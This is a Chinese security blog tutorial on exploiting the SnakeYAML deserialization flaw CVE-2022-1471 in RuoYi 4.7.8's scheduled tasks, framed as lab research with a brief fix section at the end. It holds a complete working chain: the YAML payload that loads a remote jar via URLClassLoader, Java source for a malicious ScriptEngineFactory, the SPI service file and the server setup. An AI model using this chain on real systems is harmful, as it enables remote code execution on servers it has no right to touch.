SnakeYAML的基础利用及分析
SnakeYAML的基础利用及分析
前言
本文仅用于安全技术研究与交流。文中所有实验均在本地自建环境中完成,未针对任何线上系统,也未使用任何未授权目标的数据。
读者因将本文技术用于非法用途所产生的一切后果,由读者自行承担,与作者无关。转载请注明作者与原文链接;禁止用于商业用途。
在上一篇文章(https://www.cnblogs.com/R4v3n/articles/23281700 )中,我们研究了若依后台定时任务的 JNDI 注入导致的 RCE。本文将以此为基础,探讨后台定时任务的另一种 RCE 方法——SnakeYAML 漏洞。
本文实验环境为 Windows + JDK 8 + SnakeYAML 1.28。
在正式分析之前,我们先给出最终的利用 payload,以便读者更好地阅读下面的内容:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/ExecDemo.jar"]]]]')
关键字:代码审计 / Java 安全 / 若依 RuoYi / 定时任务 / SnakeYAML / CVE-2022-1471 / YAML 反序列化 / SPI 机制 / ScriptEngineManager / URLClassLoader / 远程类加载
利用的条件
这个漏洞的编号为 CVE-2022-1471,影响 SnakeYAML 2.0 以下的版本。我们打开若依 V4.7.8,在根目录的 pom.xml 中搜索 snakeyaml 并没有结果——因为具体依赖声明在 ruoyi-common/pom.xml,而且它没有写 <version>。版本号由 Spring Boot 的 BOM 统一管理,所以我们在根目录的 pom.xml 中搜索 spring-boot,就能找到:

可以看到其版本为 2.5.15。我们按住 Ctrl + 左键跟进,进入 spring-boot-dependencies-2.5.15.pom,搜索 snakeyaml,可以看到版本为 1.28,满足条件:

SnakeYAML 做了什么?
Yaml.load() 会解析 YAML 中的 !! 标签,并反射实例化对应的类(即调用其构造方法)。我们的 payload 如下:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/ExecDemo.jar"]]]]
!! 标签在 SnakeYAML 中相当于 new 一个对象,这里也就是 new 一个 ScriptEngineManager 对象。
那么我们先动手试一下,直观地看看它做了什么。
一个简单的 YAML Demo
我们使用 IDEA 创建一个新项目 YamlDemo。首先引入对应的依赖,在根目录的 pom.xml 中加入如下内容:
<dependencies>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.28</version>
</dependency>
</dependencies>
随后创建如下两个文件:
// Demo.java
import org.yaml.snakeyaml.Yaml;
public class Demo {
public static void main(String[] args) {
Yaml yaml = new Yaml();
String s = "!!RunCommand []";
RunCommand cmd = yaml.load(s);
}
}
// RunCommand.java
import java.io.IOException;
public class RunCommand {
public RunCommand() throws IOException {
java.lang.Runtime.getRuntime().exec("calc");
}
}
保存并运行,可以看到计算器被弹出:

远程 jar 加载
虽然 Demo 运行得很好,但我们总不能假设 Java 服务器上刚好存在这么一个满足条件的类。如果我们能把自己的 RunCommand 类加载到远程服务器上,那么一切就好办了。
这就是我们的下一站:javax.script.ScriptEngineManager。
查看 ScriptEngineManager 的构造方法,发现存在一个可以接收 ClassLoader 的重载方法:

我们的问题是如何实现远程类加载。URLClassLoader 能从远程 URL 加载类——这正是我们想要的;同时它继承了 SecureClassLoader,SecureClassLoader 又继承了 ClassLoader,这意味着我们只要构造:
URL[] urls = { new URL("http://127.0.0.1:9999/ExecDemo.jar") };
ClassLoader customLoader = new URLClassLoader(urls);
这样得到的 customLoader 就可以作为 ScriptEngineManager 构造方法的参数了。
最终,我们实现一个模拟受害服务器行为的 demo,新建一个 ScriptEngineManagerDemo 项目,代码如下:
import javax.script.ScriptEngineManager;
import java.net.URL;
import java.net.URLClassLoader;
public class ScriptEngineManagerDemo {
public static void main(String[] args) throws Exception {
URL[] urls = { new URL("http://127.0.0.1:9999/ExecDemo.jar") };
ClassLoader customLoader = new URLClassLoader(urls);
ScriptEngineManager manager = new ScriptEngineManager(customLoader);
}
}

ExecDemo.jar 的实现
受害者侧的 payload 已经研究完了,现在的问题是如何解决攻击者侧的部分——我们需要实现 ExecDemo.jar。
回到上一节的 ScriptEngineManagerDemo 项目,跟进 ScriptEngineManager 的构造方法:

从这里可以得知,被加载的类需要实现 ScriptEngineFactory 接口。
我们创建一个新项目 ExecDemo,新建一个包 demo,在该包下创建 DemoScriptEngineFactory.java:
package demo;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.Collections;
import java.util.List;
public class DemoScriptEngineFactory implements ScriptEngineFactory {
public DemoScriptEngineFactory() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public String getEngineName() {
return "";
}
@Override
public String getEngineVersion() {
return "";
}
@Override
public List<String> getExtensions() {
return Collections.emptyList();
}
@Override
public List<String> getMimeTypes() {
return Collections.emptyList();
}
@Override
public List<String> getNames() {
return Collections.emptyList();
}
@Override
public String getLanguageName() {
return "";
}
@Override
public String getLanguageVersion() {
return "";
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return "";
}
@Override
public String getOutputStatement(String toDisplay) {
return "";
}
@Override
public String getProgram(String... statements) {
return "";
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

此外,我们需要在 src/main/resources/META-INF 目录下创建 services 目录,并在其中创建一个名为 javax.script.ScriptEngineFactory 的文件,内容为:
demo.DemoScriptEngineFactory
我们稍后再解释为什么需要这么做。(另外,读者可能会注意到 META-INF 下还有一个 MANIFEST.MF 文件,它用于存储包和扩展的配置数据,如安全性和版本信息,由 IDEA 自动生成。关于这个文件读者可自行查阅,这里不再展开。)
在 IDEA 的菜单栏选择 文件 → 项目结构 → 工件,添加一个 JAR → 来自具有依赖项的模块:

主类选择 DemoScriptEngineFactory:

随后在菜单栏选择 构建 → 构建工件,项目根目录下会生成一个 out 目录,里面就是我们需要的 jar 文件。
在包含刚刚生成的 jar 文件的目录下启动一个 HTTP 服务:
python -m http.server 9999
现在回到上一节的 ScriptEngineManagerDemo 项目并启动,可以看到计算器被弹出,同时 9999 端口的服务器收到了一条对 ExecDemo.jar 的请求:

至此,整条利用链已经打通。现在回到若依 V4.7.8,按照上一篇文章的方法,利用 SQL 注入修改任务的调用字符串,随后执行一次,可以看到命令被顺利执行。

补充:Java 的 SPI 机制
现在我们可以解释为什么需要在
META-INF下创建一个services/javax.script.ScriptEngineFactory文件了。在ScriptEngineManagerDemo项目中,对最后一行打上断点,随后运行,当断点命中时按下 F7,查看下面的堆栈调用情况:
在堆栈中选择
next:404, ServiceLoader$LazyIterator (java.util)这行:
进入
nextService方法,再进入hasNextService方法:
可以看到这里正在进行类的实例化操作,我们观察
fullName这一行:
META-INF/services下的文件名是接口的全限定名,文件内容则是实现类的全限定名,这样 Java 就可以在运行时自动找到并加载这个实现类,这就是 Java 的 SPI 机制。详细的运行机制若读者有兴趣可自行验证,这里不再展开。
防御与修复
CVE-2022-1471 的官方说明给出了两条建议:解析不可信内容时使用 SafeConstructor,并升级到 2.0 及以上版本。





浙公网安备 33010602011771号